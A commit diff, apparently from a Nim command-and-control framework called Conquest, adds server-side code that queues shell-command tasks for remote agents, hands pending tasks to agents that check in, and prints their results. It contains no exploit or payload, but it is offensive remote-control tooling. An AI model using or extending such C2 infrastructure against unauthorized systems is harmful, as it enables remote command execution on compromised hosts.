Implemented basic shell command execution and result retrieval. Next Step: Remove completed tasks from queue

server/agent/agent.nim

@@ -1,4 +1,4 @@
-import terminal, strformat, strutils, tables
+import terminal, strformat, strutils, sequtils, tables, json
 import ./interact
 import ../[types, globals, utils]
 import ../db/database
@@ -98,10 +98,10 @@ proc agentInteract*(cq: Conquest, name: string) =
     # Change prompt indicator to show agent interaction
     cq.setIndicator(fmt"[{agent.name}]> ")
     cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])    
-    cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
+    cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
     cq.interactAgent = agent
 
-    while command != "back": 
+    while command.replace(" ", "") != "back": 
         command = cq.readLine()
         cq.withOutput(handleAgentCommand, command)
 
@@ -120,7 +120,7 @@ proc register*(agent: Agent): bool =
         # TODO: Verify that the listener accessed is also the listener specified in the URL
         # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database
         if not cq.dbListenerExists(agent.listener.toUpperAscii): 
-            cq.writeLine(fgRed, styleBright, fmt"[-] Agent from {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
+            cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
             return false
 
         # Store agent in database
@@ -131,4 +131,34 @@ proc register*(agent: Agent): bool =
         cq.add(agent)
         cq.writeLine(fgYellow, styleBright, fmt"[{agent.firstCheckin}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") 
 
-    return true
+    return true
+
+proc getTasks*(listener, agent: string): JsonNode = 
+
+    {.cast(gcsafe).}:
+
+        # Check if listener exists
+        if not cq.dbListenerExists(listener.toUpperAscii): 
+            cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
+            return nil
+
+        # Check if agent exists
+        if not cq.dbAgentExists(agent.toUpperAscii): 
+            cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
+            return nil
+
+        # TODO: Update the last check-in date for the accessed agent
+
+        let agent = cq.agents[agent]
+        return %agent.tasks.filterIt(it.status != Completed)
+
+proc handleResult*(listener, agent, task: string, taskResult: Task) = 
+
+    {.cast(gcsafe).}:
+
+        cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.")
+        cq.writeLine(taskResult.result)
+
+        # TODO: Remove completed task from the queue 
+
+        return 

server/agent/commands.nim

@@ -0,0 +1,2 @@
+import ./commands/[shell]
+export shell

server/agent/commands/shell.nim

@@ -0,0 +1,21 @@
+import nanoid, sequtils, strutils, strformat, terminal, times
+import ../../types
+
+proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) = 
+
+    # Create a new task 
+    let 
+        date: string = now().format("dd-MM-yyyy HH:mm:ss")
+        task = Task(
+            id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
+            agent: cq.interactAgent.name, 
+            command: ExecuteShell,
+            args: arguments,
+            result: "",
+            status: Created
+        )
+
+    # Add new task to the agent's task queue
+    cq.interactAgent.tasks.add(task)
+
+    cq.writeLine(fgBlack, styleBright, fmt"[*] [{task.id}] ", resetStyle, "Tasked agent to execute shell command.")

server/agent/interact.nim

@@ -1,5 +1,6 @@
-import argparse, times, strformat, terminal
+import argparse, times, strformat, terminal, nanoid
 import ../[types]
+import ./commands
 
 #[
     Agent Argument parsing
@@ -9,6 +10,8 @@ var parser = newParser:
 
     command("shell"):
         help("Execute a shell command.")
+        arg("command", help="Command", nargs = 1)
+        arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
 
     command("help"):
         nohelpflag()
@@ -22,19 +25,26 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
     if args[0].replace(" ", "").len == 0: return
 
     let date: string = now().format("dd-MM-yyyy HH:mm:ss")
-    cq.writeLine(fgCyan, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, args[0])
+    cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, args[0])
 
     try:
         let opts = parser.parse(args[0].split(" ").filterIt(it.len > 0))
 
         case opts.command
-        
+    
         of "back": # Return to management mode
             discard
 
         of "help": # Display help menu
             cq.writeLine(parser.help())
 
+        of "shell":
+            var 
+                command: string = opts.shell.get.command 
+                arguments: seq[string] = opts.shell.get.arguments
+            arguments.insert(command, 0)
+            cq.taskExecuteShell(arguments)
+
     # Handle help flag
     except ShortCircuit as err:
         if err.flag == "argparse_help":